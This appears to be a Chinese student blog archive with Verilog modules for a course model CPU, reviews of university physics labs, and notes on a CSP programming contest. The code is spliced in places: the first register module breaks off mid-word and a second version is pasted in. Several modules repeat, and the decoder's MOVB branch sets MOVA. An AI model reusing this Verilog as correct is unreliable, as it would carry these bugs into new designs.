以下代码虽经本人检查，但并未经过验收，仅供参考，保留随时更改甚至推倒重来的可能。

前几个部分使用Verilog实现，还是比较简单的。最重要的是posedge和negedge的使用。代码中部分由GitHub Copilot生成。

AM使用Block Diagram，借助Quartus自带Megafunction实现。

SM

看懂表格就能做，非常简单。

只在时钟下降沿作用，其他时候不作用，所以使用negedge clk来捕获时钟信号下降沿。

CLK	EN	功能
下降沿	1	SM<=SM取反
下降沿	0	SM不变

verilog

module SM(clk,EN,z);
    input clk,EN;
    output z;

    reg z;

    always @(negedge clk) begin
        if(EN) z <= ~z;
    end

endmodule //SM

IR / 指令寄存器

CLK	IR_LD	功能
下降沿	1	d写入ir

应该没什么好讲的吧。

verilog

module IR(clk,ir_ld,d,ir);
    input clk,ir_ld;
    input[7:0] d;
    output[7:0] ir;

    reg[7:0] ir;
    
    always @(negedge clk) begin
        if(ir_ld) begin
            ir <= d;
        end
    end
endmodule

PSW / 状态寄存器

此程序目前存在一个问题：第一个下降沿，若cf_en或zf_en为0，c或z会变成未知值。目前把它们都设置为1，为数据做一个初始化，来规避这个问题。

CLK	控制信号	功能
下降沿	$cf_en=1$	cf写入c
下降沿	$zf_en=1$	zf写入z

这里讲一个之前一直没注意的事情。本程序可以使用两个always块。组合逻辑模块，处理cf和zf的使能；时序逻辑模块，处理下降沿更新。组合逻辑的结果由寄存器负责暂存。当然，也可以使用三个，一个处理cf，一个处理zf，一个侦测时钟信号，但生成的RTL视图实际上是一样的。

如果将cf_en,zf_en等不带沿的条件和negedge clk写到一个always条件内，Quartus会提示 10122 错误：在一个always块中，双沿的检测（就是普通的always @(n)）和单上升 / 下降沿是不能共存的。可以参考 logic - Single and double-edge expressions (Verilog) - Stack Overflow。

需要注意，之前所讲的 “输入必须都放在always条件里”，只适用于“在这些输入值改变的时候输出值需要立刻改变” 的时候，即同时侦测信号的上升沿和下降沿，这样输入值一旦改变，就可以及时的改变输出值。但时序电路不需要，如PSW只需要在时钟下降沿的时候根据两个使能信号的值更新输出就行了。所以输入和使能都没有必要放到always里，只需要在if侦测就行了。

下面是仅使用单cf_en的结果。

verilog

module PSW(clk,cf_en,zf_en,cf,zf,c,z);
    input clk,cf_en,zf_en,cf,zf;
    output c,z;
    reg c,z;
    reg cTemp,zTemp;

    always @(negedge clk) begin
        if(cf_en) begin
            c<=cf;
        end
        if(zf_en) begin
            z<=zf;
        end
    end
endmodule //PSW

PC / 指令计数器

仍然是看表格就能做。

这个 “a向入c” 的意思是将a的数据导入c。

CLK	IN PC	LD PC	功能
下降沿	1	0	$c[7..0]$ 中数据自加1
下降沿	0	1	$a[7..0]$ 向入 $c[7..0]$

verilog

module PC(ld,inc,clk,a,c);
    input ld,inc,clk;
    input[7:0] a;
    output[7:0] c;

    reg[7:0] c;

    always @(negedge clk) begin
        if (ld) begin
            c <= a;
        end else begin
            if (inc) begin
                c <= c + 1;
            end
        end
    end
endmodule //PC

REG / 通用寄存器组

不只有表里看起来这么简单。

任何时候都是能够读取的，只有写受下降沿限制。因为写的时候只由RWBA指定寄存器地址，所以RAA并没有什么关系。

读取只是把当前的值忠实读出来而已，如果有写入那就读出来新的值。

明明是寄存器，但表中甚至没有描述寄存器部分…… 也不难，定义三个八位的reg变量，就是寄存器的核心部分了，也就是读写的对象。

操作	CLK	WE	$RAA[1..0]$	$RWBA[1..0]$	功能
读			00或01或10	00或01或10	根据 $RAA[1..0]$ 的值从A,B,C中选择一个寄存器的值由S口输出根据 $RWBA[1..0]$ 的值从A,B,C中选择一个寄存器的值由D口输出
写	下降沿	0	XX	00或01或10	控制信号WE为0，根据 $RWBA[1..0]$ 的值, 在时钟下降沿将外部输入写入A,B,C三个寄存器中的某个寄存器。

寄存器是由负责读取的组合逻辑电路和负责写入的时序逻辑电路合并而成的。其读的状态不受写的状态影响，使用阻塞赋值；写则使用非阻塞赋值。

对于RAA和RWBA的输入，00代表A，01代表B，10代表C，都好理解，但如果输入11，仍然要输出C，而不是输出0或者高阻态之类的。可以直接写A、B、default。

verilog

module Register(WE,clk,RA,WA,i,S,D);
    input WE,clk;
    input [1:0] RA,WA;
    input [7:0] i;

    output[7:0] S,D;

    reg [7:0] S,D;
    reg [7:0] a,b,c;

    always @(RA) begin
        case(RA)
            2'b00: S=a;
            2'b01: S=b;
            2'b10: S=c;
            dmodule Register(WE,clk,RA,WA,i,S,D);
    input WE,clk;
    input [1:0] RA,WA;
    input [7:0] i;

    output[7:0] S,D;

    reg [7:0] S,D;
    reg [7:0] a=8'b00110110;
    reg [7:0] b=8'b10001011;
    reg [7:0] c=8'b11001110;

    always @(RA) begin
        case(RA)
            2'b00: S=a;
            2'b01: S=b;
            default: S=c;
        endcase
    end

    always @(WA) begin
        case(WA)
            2'b00: D=a;
            2'b01: D=b;
            default: D=c;
        endcase
    end

    always @(negedge clk) begin
        if(WE==0) begin
            case(WA)
                2'b00: a<=i;
                2'b01: b<=i;
                2'b10: c<=i;
            endcase
        end
    end

endmodule //Register

RAM

RAM包含一个QPF文件和一个MIF文件。QPF文件用于描述电路，而MIF文件用于定义RAM初始的内容。所谓初始值，就是在你没有向某个地址的内存块输入值的情况下，它默认输出的值。

新建一个Memory Initialization File，使用默认的256*8即可。里面随便填点东西，可以右键选择Custom Fill Cells搞点花样，比如使用梯度为1的Increment，可以将每个单元格赋给与它地址相等的值。

再新建一个Block Diagram File，这么画。注意三态门出来的线必须是总线（粗细可辨）。

实际上它是和指导书上有一定区别的。如果有多余的引脚，无需搭理。

双击表格可以修改参数，改成一样的就行。LPM_FILE填入刚刚MIF的相对路径，也就是说如果目录相同可以使用 “./xxx.mif” 表示，一定要带双引号。绝对路径（如D:/test/test.mif或 / root/test/test.mif）也可以。

本文代码所用波形文件在这里可以下载，建议仅用于参考波形。

数电课程模型机设计：多路开关、移位逻辑和控制信号产生逻辑（Verilog 实现）

Mon, 06 Dec 2021 00:00:00 +0000

以下代码虽经本人检查，但仅移位逻辑经过仔细验收，仅供参考。

多路开关

多路开关做起来还是很简单的，一个case语句就能搞定。记得加default，防止生成锁存器。

verilog

module mux (MADD,A,B,C,OUT);
    input[1:0] MADD;
    input[7:0] A,B,C;
    output[7:0] OUT;

    reg[7:0] OUT;

    always @(MADD,A,B,C) begin
        case (MADD) 
            2'b00: OUT=A;
            2'b01: OUT=B;
            2'b10: OUT=C;
            default: OUT=8'b0;
        endcase
    end
endmodule //mux

移位逻辑

这个应该也不算很难。我将输入的三个FBUS、FLBUS和FRBUS合成一个BUS，这样用case语句一起处理或许优雅一些（？）

可以参考下面这张图进行设计。其他情况直接全输出高阻，不用管别的，以防多路输出冲突。

verilog

module Shift_Register (F_BUS,FL_BUS,FR_BUS,a,W,Cf);
    input F_BUS,FL_BUS,FR_BUS;
    input[7:0] a;
    output[7:0] W;
    output Cf;
    
    reg[7:0] W;
    reg Cf;

    wire[2:0] BUS;
    
    assign BUS = {F_BUS,FL_BUS,FR_BUS};
    
    always @(BUS) begin
        case (BUS)
            3'b100: begin
                W = a;
                Cf = 0;
            end
            3'b010: begin
                W  = {a[6:0],a[7]};
                Cf = a[7];
            end
            3'b001: begin
                W  = {a[0],a[7:1]};
                Cf = a[0];
            end
            default: begin
                W = 8'bZZZZZZZZ;
                Cf = 0;
            end
        endcase
    end
endmodule //Shift_Register

控制信号产生逻辑

正常来说，如果希望用直接assign这种比较优雅的写法，你需要逐个摸清控制命令的运行模式，即每种IR对应的各个控制信号的值，列个表，然后找每个控制信号在什么命令输入的时候值为1。

要不然，就用一堆条件语句，只是省掉了反查的过程，还是得分析，也不优雅。

但是，老师把这个表已经列出来了，省下了大把的时间：

我们只需查找每一列输出信号对应的输入信号就行了。规定的信号针脚和表中的控制信号可能有所不同，可以参阅下面的源代码，我在注释中写了一些对应关系。

但是请注意，这里并没有包含所有的指令，比如INPUT。

空白的区域不清楚怎么搞，但我是在这部分输出了0。JZ/JC(T) 指的是JZ&&Z或JC&&C，这两种输出是等效的，虽然判断条件看起来不同；相对的，JZ/JC(F) 就是JZ&&(~Z) 或JC&&(~C)。

源代码如下，部分难以使用几个输入或表示的，我才会使用always语句。

后面整合的时候会知道，MOVB和MOVC的时候，要指定内存地址，需要将C寄存器中的数值输出，所以REG_RA（RAA）的always块中，不能因为MOVB中有一个固定的11就不作为条件；相反，为了将C忠实地输出，需要将三个MOV全都加进去；REG_WA（RWBA）也一样。

此外，上表没有包含NOP的指令输出，经测试只需要REG_WE=1即禁止读写即可，防止总线上数据污染寄存器。

verilog

module control_signal (MOVA,MOVB,MOVC,ADD,SUB,AND1,NOT1,RSR,RSL,JMP,JZ,Z,JC,C,IN1,OUT1,NOP,HALT,IR,SM,REG_RA,REG_WA,MADD,ALU_S,PC_LD,PC_INC,REG_WE,RAM_XL,RAM_DL,ALU_M,SHI_FBUS,SHI_FLBUS,SHI_FRBUS,IR_LD,CF_EN,ZF_EN,SM_EN,IN_EN,OUT_EN);
    input MOVA,MOVB,MOVC,ADD,SUB,AND1,NOT1,RSR,RSL,JMP,JZ,Z,JC,C,IN1,OUT1,NOP,HALT,SM;
    //    MOVA,MOVB,MOVC,ADD,SUB,AND, NOT, RSR,RSL,JMP,JZ-T,JC-T,IN, OUT, NOP,HALT,SM
    input[7:0] IR;
    output[1:0] REG_RA,REG_WA,MADD;
    //          RAA,   RWBA,  MADD
    output[3:0] ALU_S;
    //          S
    output PC_LD,PC_INC,REG_WE,RAM_XL,RAM_DL,ALU_M,SHI_FBUS,SHI_FLBUS,SHI_FRBUS,IR_LD,CF_EN,ZF_EN,SM_EN,IN_EN,OUT_EN;
    //     LD PC,IN PC, /WE,   XL,    DL,    M,    F-BUS,   FL-BUS,   FR-BUS,   LD IR,            SM,

    reg[1:0] MADD,REG_RA,REG_WA;
    reg[3:0] ALU_S;
    
    assign RAM_DL = (~SM)||MOVC||JMP||(JZ&&Z)||(JC&&C); // 取指, MOVC,JMP,JZT,JCT
    assign RAM_XL = MOVB&&(~SM); //MOVB
    assign PC_LD = JMP||(JZ&&Z)||(JC&&C); //JMP,JZT,JCT
    assign PC_INC = (~SM)||(JZ&&~Z)||(JC&&~C); // 取指, JZF,JCF
    assign IR_LD = (~SM); // 取指
    assign SHI_FBUS = ADD||SUB||AND1||NOT1||OUT1||MOVA||MOVB; //ADD,SUB,AND,NOT,OUT,MOVA,MOVB
    assign SHI_FLBUS = RSL; //RSL
    assign SHI_FRBUS = RSR; //RSR
    assign ALU_M = ADD||SUB||AND1||NOT1||RSR||RSL||OUT1;
    assign REG_WE = (~SM)||OUT1||MOVB||JMP||JZ||JC||HALT||NOP;
    assign CF_EN = ADD||SUB||RSR||RSL;
    assign ZF_EN = ADD||SUB;
    assign SM_EN = ~HALT;
    assign IN_EN = IN1;
    assign OUT_EN = OUT1;
    
    always @(SM,MOVB,MOVC) begin //MADD
        if(~SM) MADD=2'b0;
        else if(MOVB) MADD=2'b10;
        else if(MOVC) MADD=2'b01;
        else MADD=2'b0; // 不锁存只能这样了吧？
    end

    always @(ADD,SUB,AND1,NOT1,RSR,RSL,OUT1,MOVA,MOVB) begin //ALU_S
        if(ADD||SUB||AND1||NOT1||RSR||RSL||OUT1||MOVA||MOVB) ALU_S[3:0]=IR[7-:4];
        else ALU_S=4'b0;
    end

    always @(ADD,SUB,AND1,MOVA,MOVB,MOVC) begin //RAA
        if(ADD||SUB||AND1||MOVA||MOVB||MOVC) REG_RA=IR[1-:2];
        else REG_RA=2'b0;
    end

    always @(ADD,SUB,AND1,NOT1,RSR,RSL,IN1,OUT1,MOVA,MOVB,MOVC) begin//RWBA
        if(ADD||SUB||AND1||NOT1||RSR||RSL||IN1||OUT1||MOVA||MOVB||MOVC) REG_WA=IR[3-:2];
        else REG_WA=2'b0;
    end
    
endmodule

module control_signal (MOVA,MOVB,MOVC,ADD,SUB,AND1,NOT1,RSR,RSL,JMP,JZ,Z,JC,C,IN1,OUT1,NOP,HALT,IR,SM,REG_RA,REG_WA,MADD,ALU_S,PC_LD,PC_INC,REG_WE,RAM_XL,RAM_DL,ALU_M,SHI_FBUS,SHI_FLBUS,SHI_FRBUS,IR_LD,CF_EN,ZF_EN,SM_EN,IN_EN,OUT_EN);
    input MOVA,MOVB,MOVC,ADD,SUB,AND1,NOT1,RSR,RSL,JMP,JZ,Z,JC,C,IN1,OUT1,NOP,HALT,SM;
    //    MOVA,MOVB,MOVC,ADD,SUB,AND, NOT, RSR,RSL,JMP,JZ-T,JC-T,IN, OUT, NOP,HALT,SM
    input[7:0] IR;
    output[1:0] REG_RA,REG_WA,MADD;
    //          RAA,   RWBA,  MADD
    output[3:0] ALU_S;
    //          S
    output PC_LD,PC_INC,REG_WE,RAM_XL,RAM_DL,ALU_M,SHI_FBUS,SHI_FLBUS,SHI_FRBUS,IR_LD,CF_EN,ZF_EN,SM_EN,IN_EN,OUT_EN;
    //     LD PC,IN PC, /WE,   XL,    DL,    M,    F-BUS,   FL-BUS,   FR-BUS,   LD IR,            SM,

    reg[1:0] MADD,REG_RA,REG_WA;
    reg[3:0] ALU_S;
    
    assign RAM_DL = (~SM)||MOVC||JMP||(JZ&&Z)||(JC&&C); // 取指, MOVC,JMP,JZT,JCT
    assign RAM_XL = MOVB&&(~SM); //MOVB
    assign PC_LD = JMP||(JZ&&Z)||(JC&&C); //JMP,JZT,JCT
    assign PC_INC = (~SM)||(JZ&&~Z)||(JC&&~C); // 取指, JZF,JCF
    assign IR_LD = (~SM); // 取指
    assign SHI_FBUS = ADD||SUB||AND1||NOT1||OUT1||MOVA||MOVB; //ADD,SUB,AND,NOT,OUT,MOVA,MOVB
    assign SHI_FLBUS = RSL; //RSL
    assign SHI_FRBUS = RSR; //RSR
    assign ALU_M = ADD||SUB||AND1||NOT1||RSR||RSL||OUT1;
    assign REG_WE = (~SM)||OUT1||MOVB||JMP||JZ||JC||HALT||NOP;
    assign CF_EN = ADD||SUB||RSR||RSL;
    assign ZF_EN = ADD||SUB;
    assign SM_EN = ~HALT;
    assign IN_EN = IN1;
    assign OUT_EN = OUT1;
    
    always @(SM,MOVB,MOVC) begin //MADD
        if(~SM) MADD=2'b0;
        else if(MOVB) MADD=2'b10;
        else if(MOVC) MADD=2'b01;
        else MADD=2'b0; // 不锁存只能这样了吧？
    end

    always @(ADD,SUB,AND1,NOT1,RSR,RSL,OUT1,MOVA,MOVB) begin //ALU_S
        if(ADD||SUB||AND1||NOT1||RSR||RSL||OUT1||MOVA||MOVB) ALU_S[3:0]=IR[7-:4];
        else ALU_S=4'b0;
    end

    always @(ADD,SUB,AND1,MOVA,MOVB,MOVC) begin //RAA
        if(ADD||SUB||AND1||MOVA||MOVB||MOVC) REG_RA=IR[1-:2];
        else REG_RA=2'b0;
    end

    always @(ADD,SUB,AND1,NOT1,RSR,RSL,IN1,OUT1,MOVA,MOVB,MOVC) begin//RWBA
        if(ADD||SUB||AND1||NOT1||RSR||RSL||IN1||OUT1||MOVA||MOVB||MOVC) REG_WA=IR[3-:2];
        else REG_WA=2'b0;
    end
    
endmodule

照例，下面提供三个部件仿真时使用的波形文件，使用Quartus Prime 21.1生成：下载链接。

数电课程模型机 CPU 设计：译码器和 ALU（Verilog 实现）

Tue, 30 Nov 2021 00:00:00 +0000

译码器

译码器的指令系统表如下图所示。

译码器做起来其实不难，当编码符合要求的时候，把相应的汇编符号输出设为1就行了。

R1、R2代表操作寄存器的地址，可以为A、B或C寄存器中的任何一个，地址分别为00、01和10。

所谓” 符合要求 “，可以举个例子。比如NOT的编码是 0101 R1XX，R1代表寄存器1的地址，XX是通配符，所以可以做匹配 IR[7-:4]==4'b0101，而且应为寄存器地址的地方不能是11。（话说也没多少人会在这个位置传进11吧…… 除了喜欢点一杯炒饭的测试工程师）

特别注意的是，有三种MOV指令。这里定义第一种MOV指令为MOVA，第二种为MOVB，第三种为MOVC。我先使用1100匹配进MOV，然后再区分MOVA、MOVB和MOVC。

verilog

module decoder (EN,IR,MOVA,MOVB,MOVC,ADD,SUB,AND,NOT,RSR,RSL,JMP,JZ,JC,IN,OUT,NOP,HALT);
    input EN;
    input[7:0] IR;
    output MOVA,MOVB,MOVC,ADD,SUB,AND,NOT,RSR,RSL,JMP,JZ,JC,IN,OUT,NOP,HALT;
    reg MOVA,MOVB,MOVC,ADD,SUB,AND,NOT,RSR,RSL,JMP,JZ,JC,IN,OUT,NOP,HALT;
always @(IR,EN) begin
    if(EN==1'b1) begin
        if (IR[7-:4]==4'b1100) begin //MOV
            if(IR[3-:2]==2'b11) begin //MOVB 11R2
                MOVA=1'b1;
                MOVB=1'b0;
                MOVC=1'b0;
            end
            else if (IR[1-:2]==2'b11) begin //MOVC R1111
                MOVA=1'b0;
                MOVB=1'b0;
                MOVC=1'b1;
            end
            else begin //MOVA R1R2
                MOVA=1'b1;
                MOVB=1'b0;
                MOVC=1'b0;
            end
        end
        else begin
            MOVA=1'b0;
            MOVB=1'b0;
            MOVC=1'b0;
        end
        if (IR[7-:4]==4'b1001 && IR[3-:2]!=2'b11 && IR[1-:2]!=2'b11) begin //ADD
            ADD=1'b1;
        end
        else ADD=1'b0;
        if (IR[7-:4]==4'b0110 && IR[3-:2]!=2'b11 && IR[1-:2]!=2'b11) begin //SUB
            SUB=1'b1;
        end
        else SUB=1'b0;
        if (IR[7-:4]==4'b1011 && IR[3-:2]!=2'b11 && IR[1-:2]!=2'b11) begin //AND
            AND=1'b1;
        end
        else AND=1'b0;
        if (IR[7-:4]==4'b0101 && IR[3-:2]!=2'b11) begin //NOT
            NOT=1'b1;
        end
        else NOT=1'b0;
        if (IR[7-:4]==4'b1010 && IR[1-:2]==2'b00 && IR[3-:2]!=2'b11) begin //RSR
            RSR=1'b1;
        end
        else RSR=1'b0;
        if (IR[7-:4]==4'b1010 && IR[1-:2]==2'b11 && IR[3-:2]!=2'b11) begin //RSL
            RSL=1'b1;
        end
        else RSL=1'b0;
        if (IR[7:0]==8'b0011_0000) begin //JMP
            JMP=1'b1;
        end
        else JMP=1'b0;
        if (IR[7:0]==8'b0011_0001) begin //JZ
            JZ=1'b1;
        end
        else JZ=1'b0;
        if (IR[7:0]==8'b0011_0010) begin //JC
            JC=1'b1;
        end
        else JC=1'b0;
        if (IR[7-:4]==4'b0010 && IR[3-:2]!=2'b11) begin //IN
            IN=1'b1;
        end
        else IN=1'b0;
        if (IR[7-:4]==4'b0100 && IR[3-:2]!=2'b11) begin //OUT
            OUT=1'b1;
        end
        else OUT=1'b0;
        if (IR[7:0]==8'b0111_0000) begin //NOP
            NOP=1'b1;
        end
        else NOP=1'b0;
        if (IR[7:0]==8'b1000_0000) begin //HALT
            HALT=1'b1;
        end
        else HALT=1'b0;
    end
    else begin
        MOVA=1'b0;
        MOVB=1'b0;
        MOVC=1'b0;
        ADD=1'b0;
        SUB=1'b0;
        AND=1'b0;
        NOT=1'b0;
        RSR=1'b0;
        RSL=1'b0;
        JMP=1'b0;
        JZ=1'b0;
        JC=1'b0;
        IN=1'b0;
        OUT=1'b0;
        NOP=1'b0;
        HALT=1'b0;
    end

end

endmodule //decoder

module decoder (EN,IR,MOVA,MOVB,MOVC,ADD,SUB,AND,NOT,RSR,RSL,JMP,JZ,JC,IN,OUT,NOP,HALT);
    input EN;
    input[7:0] IR;
    output MOVA,MOVB,MOVC,ADD,SUB,AND,NOT,RSR,RSL,JMP,JZ,JC,IN,OUT,NOP,HALT;
    reg MOVA,MOVB,MOVC,ADD,SUB,AND,NOT,RSR,RSL,JMP,JZ,JC,IN,OUT,NOP,HALT;
always @(IR,EN) begin
    if(EN==1'b1) begin
        if (IR[7-:4]==4'b1100) begin //MOV
            if(IR[3-:2]==2'b11) begin //MOVB 11R2
                MOVA=1'b1;
                MOVB=1'b0;
                MOVC=1'b0;
            end
            else if (IR[1-:2]==2'b11) begin //MOVC R1111
                MOVA=1'b0;
                MOVB=1'b0;
                MOVC=1'b1;
            end
            else begin //MOVA R1R2
                MOVA=1'b1;
                MOVB=1'b0;
                MOVC=1'b0;
            end
        end
        else begin
            MOVA=1'b0;
            MOVB=1'b0;
            MOVC=1'b0;
        end
        if (IR[7-:4]==4'b1001 && IR[3-:2]!=2'b11 && IR[1-:2]!=2'b11) begin //ADD
            ADD=1'b1;
        end
        else ADD=1'b0;
        if (IR[7-:4]==4'b0110 && IR[3-:2]!=2'b11 && IR[1-:2]!=2'b11) begin //SUB
            SUB=1'b1;
        end
        else SUB=1'b0;
        if (IR[7-:4]==4'b1011 && IR[3-:2]!=2'b11 && IR[1-:2]!=2'b11) begin //AND
            AND=1'b1;
        end
        else AND=1'b0;
        if (IR[7-:4]==4'b0101 && IR[3-:2]!=2'b11) begin //NOT
            NOT=1'b1;
        end
        else NOT=1'b0;
        if (IR[7-:4]==4'b1010 && IR[1-:2]==2'b00 && IR[3-:2]!=2'b11) begin //RSR
            RSR=1'b1;
        end
        else RSR=1'b0;
        if (IR[7-:4]==4'b1010 && IR[1-:2]==2'b11 && IR[3-:2]!=2'b11) begin //RSL
            RSL=1'b1;
        end
        else RSL=1'b0;
        if (IR[7:0]==8'b0011_0000) begin //JMP
            JMP=1'b1;
        end
        else JMP=1'b0;
        if (IR[7:0]==8'b0011_0001) begin //JZ
            JZ=1'b1;
        end
        else JZ=1'b0;
        if (IR[7:0]==8'b0011_0010) begin //JC
            JC=1'b1;
        end
        else JC=1'b0;
        if (IR[7-:4]==4'b0010 && IR[3-:2]!=2'b11) begin //IN
            IN=1'b1;
        end
        else IN=1'b0;
        if (IR[7-:4]==4'b0100 && IR[3-:2]!=2'b11) begin //OUT
            OUT=1'b1;
        end
        else OUT=1'b0;
        if (IR[7:0]==8'b0111_0000) begin //NOP
            NOP=1'b1;
        end
        else NOP=1'b0;
        if (IR[7:0]==8'b1000_0000) begin //HALT
            HALT=1'b1;
        end
        else HALT=1'b0;
    end
    else begin
        MOVA=1'b0;
        MOVB=1'b0;
        MOVC=1'b0;
        ADD=1'b0;
        SUB=1'b0;
        AND=1'b0;
        NOT=1'b0;
        RSR=1'b0;
        RSL=1'b0;
        JMP=1'b0;
        JZ=1'b0;
        JC=1'b0;
        IN=1'b0;
        OUT=1'b0;
        NOP=1'b0;
        HALT=1'b0;
    end

end

endmodule //decoder

ALU

我之前想复杂了，完全不需要设计RCA，因为Cf指的 是最高位的进位或借位（即溢出），而不是逐位取进位或借位，所以可以直接使用拼接解决。 ~~怪不得从网上找了一堆资料没发现如何找借位~~

这样就没有之前那么难了，把ppt里的东西直接翻译出来就行了，源代码如下。

verilog

module ALU2 (M,S,A,B,t,Cf,Zf);
    input M;// 算术运算指示
    input [3:0] S;// 运算类型
    input [7:0] A,B;// 参与运算的数字

    output [7:0] t;// 输出结果
    output Cf,Zf;// 是否进位，是否为 0

    reg [7:0] t;
    reg Cf,Zf;
    reg [7:0] temp1;

    always @(M,S,A,B) begin
        if (M==1'b0) begin // 不进行算术运算
            if(S==4'b1100) t[7:0]=A[7:0];
            else t=8'b0;
            Cf=1'b0;
            Zf=1'b0;
        end
        else begin// 进行算术运算
            case (S)
                4'b1001: begin //ADD
                    {Cf,t}=A+B;
                    if (t==8'b0) begin
                        Zf=1'b1;
                    end
                    else Zf=1'b0;
                end
                4'b0110: begin //SUB
                    {Cf,t}=B-A;
                    if(t==8'b0) Zf=1'b1;
                    else Zf=1'b0;
                end
                4'b1011: begin //AND
                    // t=A&&B;
                    t[0]=A[0]&&B[0];
                    t[1]=A[1]&&B[1];
                    t[2]=A[2]&&B[2];
                    t[3]=A[3]&&B[3];
                    t[4]=A[4]&&B[4];
                    t[5]=A[5]&&B[5];
                    t[6]=A[6]&&B[6];
                    t[7]=A[7]&&B[7];
                    Cf=0;
                    Zf=0;
                end
                4'b0101: begin
                    t=~B; //NOT
                    Cf=0;
                    Zf=0;
                end
                4'b1010: begin
                    t=B;
                    Cf=0;
                    Zf=0;
                end
                4'b0100: begin
                    t=B;
                    Cf=0;
                    Zf=0;
                end
                4'b1100: begin
                    t=A;
                    Cf=0;
                    Zf=0;
                end
                default: begin
                    Cf=0;
                    Zf=0;
                    t=8'b0;
                end
            endcase
        end
    end
endmodule //ALU2

module ALU2 (M,S,A,B,t,Cf,Zf);
    input M;// 算术运算指示
    input [3:0] S;// 运算类型
    input [7:0] A,B;// 参与运算的数字

    output [7:0] t;// 输出结果
    output Cf,Zf;// 是否进位，是否为 0

    reg [7:0] t;
    reg Cf,Zf;
    reg [7:0] temp1;

    always @(M,S,A,B) begin
        if (M==1'b0) begin // 不进行算术运算
            if(S==4'b1100) t[7:0]=A[7:0];
            else t=8'b0;
            Cf=1'b0;
            Zf=1'b0;
        end
        else begin// 进行算术运算
            case (S)
                4'b1001: begin //ADD
                    {Cf,t}=A+B;
                    if (t==8'b0) begin
                        Zf=1'b1;
                    end
                    else Zf=1'b0;
                end
                4'b0110: begin //SUB
                    {Cf,t}=B-A;
                    if(t==8'b0) Zf=1'b1;
                    else Zf=1'b0;
                end
                4'b1011: begin //AND
                    // t=A&&B;
                    t[0]=A[0]&&B[0];
                    t[1]=A[1]&&B[1];
                    t[2]=A[2]&&B[2];
                    t[3]=A[3]&&B[3];
                    t[4]=A[4]&&B[4];
                    t[5]=A[5]&&B[5];
                    t[6]=A[6]&&B[6];
                    t[7]=A[7]&&B[7];
                    Cf=0;
                    Zf=0;
                end
                4'b0101: begin
                    t=~B; //NOT
                    Cf=0;
                    Zf=0;
                end
                4'b1010: begin
                    t=B;
                    Cf=0;
                    Zf=0;
                end
                4'b0100: begin
                    t=B;
                    Cf=0;
                    Zf=0;
                end
                4'b1100: begin
                    t=A;
                    Cf=0;
                    Zf=0;
                end
                default: begin
                    Cf=0;
                    Zf=0;
                    t=8'b0;
                end
            endcase
        end
    end
endmodule //ALU2

本文代码仿真所使用的波形文件可从此处获取，使用Quartus II 13.0 SP1生成。2021/12/06已更新本人验收用波形，数据较多。

湖大物理实验红黑榜

Sat, 23 Oct 2021 00:00:00 +0000

挑选几个我自己做过的大物实验（II），谈谈我的看法，希望能给后来者一点帮助。均为我本人做的时候的情况，仅供参考。

如果你有自己的见解，或者想为这篇文章补充，请评论，十分感谢您的贡献。

15 等厚干涉

强烈推荐，实验好做，数据好处理，报告好写，器材状态也比较好。

顺利的话，一般能在八点左右搞定，大部分数据处理也可以在八点半之前完成（八点半之前不能走）。大部分人都能在八点半之前完成实验任务。

18 夫琅和费衍射

另可参见评论区大佬建议

21 全息照相

一个几乎只需要写报告的实验，跟你做不做得出来没啥关系，因为一个周都不一定能有一组成功。不过也不要太摆烂，因为大家的实验进度是同步的，所有人都搭好光路才能继续下去（晚上做实验，大概八点半搭好，掐一下点）。

老师会额外留几道思考题，依据思考题答得好不好，来决定你实验的分数。

25 铁磁材料居里点的测量

可选。

建议带一个主动散热设备，包括但不限于手持风扇，能省很多事。

部分实验软件会闪退，我那台电脑的实验软件在快要完成的时候闪退了两次，如果看到记录册有写，做好手动记录的准备。

34 磁阻尼现象的实验研究

没有验证动量守恒了，只有磁阻尼。

实验操作有手就行，非常简单，估计很多同学甚至早已玩过气垫导轨了。

但实验操作一时爽，处理数据火葬场。数据非常多而且处理方法比较乱，非常费时间，如果你自认为没有足够的数据处理能力，不要选这个实验！！！！

反正我摸索着处理了将近一天，最后还是不会，信不信由你。

41 光拍法测量光速

非常推荐欧皇选择，因为 16 套器材有一半是坏的。即使你不是欧皇，也问题不大，仪器正常的人八点能走，之后用他们的仪器最晚八点半能走。

老师非常好，可能会帮你调实验仪器，也会允许多个人用一套器材。

数据不多，结果好算。

42 微波的基本特性研究

摘录一段记录在记录册上的话：“左右两边的数据不能说是一模一样，可以说是毫无关联了，这个实验唯一的优点也许是老师对实验数据毕竟包容叭”。

其他设备的干扰非常严重，到了可能改变你实验结果的程度。如果不介意等别人做完自己再做，以获得更好的实验数据，可选（雾，没有这么严重）。

迈克尔逊干涉实验的两个数据间大概相差 8-9。

CCF CSP 202109 @ HNU 游记

Sun, 19 Sep 2021 00:00:00 +0000

此处所指的是大学组的CSP，举行于2021年9月19日。

暴力出奇迹，骗分过样例。

暴搜挂着机，打表出省一。

NOIP名言

又是一年CSP时，抱着当年OI攒下的一点点老本，以 “过150就算赢” 为目标，本着暴力出奇迹的原则，参加了学校统一组织的考试。

关于考场

考场在湖南大学前进楼机房，设备可以说是很有年代感了。目测17寸左右的低分辨率显示器，2C2T的Pentium E5700 CPU，Windows 7，再搭配上Orwell Dev-C++ 5.11，整个简直像是上个时代的产物。由于远古的TDM-GCC 4.9.2、调用STL时的糟糕体验和层出不穷的bug，每次用Dev-C++ 调试，我都想打人…… 如果觉得Visual Studio Code不开源，哪怕装个VSCodium也好啊……

哦，顺便提一嘴，Orwell Dev-C++ 是有正统续作的，由Embarcadero开发，终于能用了：

Embarcadero/Dev-Cpp

Java环境好像也没有IntelliJ IDEA，Python好像也只能用IDLE，所以C++ 环境也不算差？

还行啦，CPU再烂也是独占的，起码比信息院机房的瘦客户机好用多了。

第一题

逐个输入，每个数都加入最大值，遇到比上个数大的就加进和的最小值。画图好理解。

第二题

先试了暴力方法，$p$ 从 $1$ 到 $10000$ 循环（没必要也千万不要把数改成 $0$），直接统计大于 $p$ 的数的区间数，70分，TLE三个点。

然后尝试搜索的思路，类似于暴力思路的改进，仍然是搜索大于p的区间数，但不会搜索整个数组，而是在上一个p所划分的区间内搜索。比如1 3 5 3 6 0 2 8，$p=1$ 时划出1 3 5 3 6和2 8，然后分别在这两个区间内继续搜索 $p=2$ 的情况即可。

误以为区间数是随 $p$ 先上升后下降的，试图用BFS控制搜索深度，幸亏BFS手生，没写完就发现并不是我想的那样（狗头保命），遂停止。

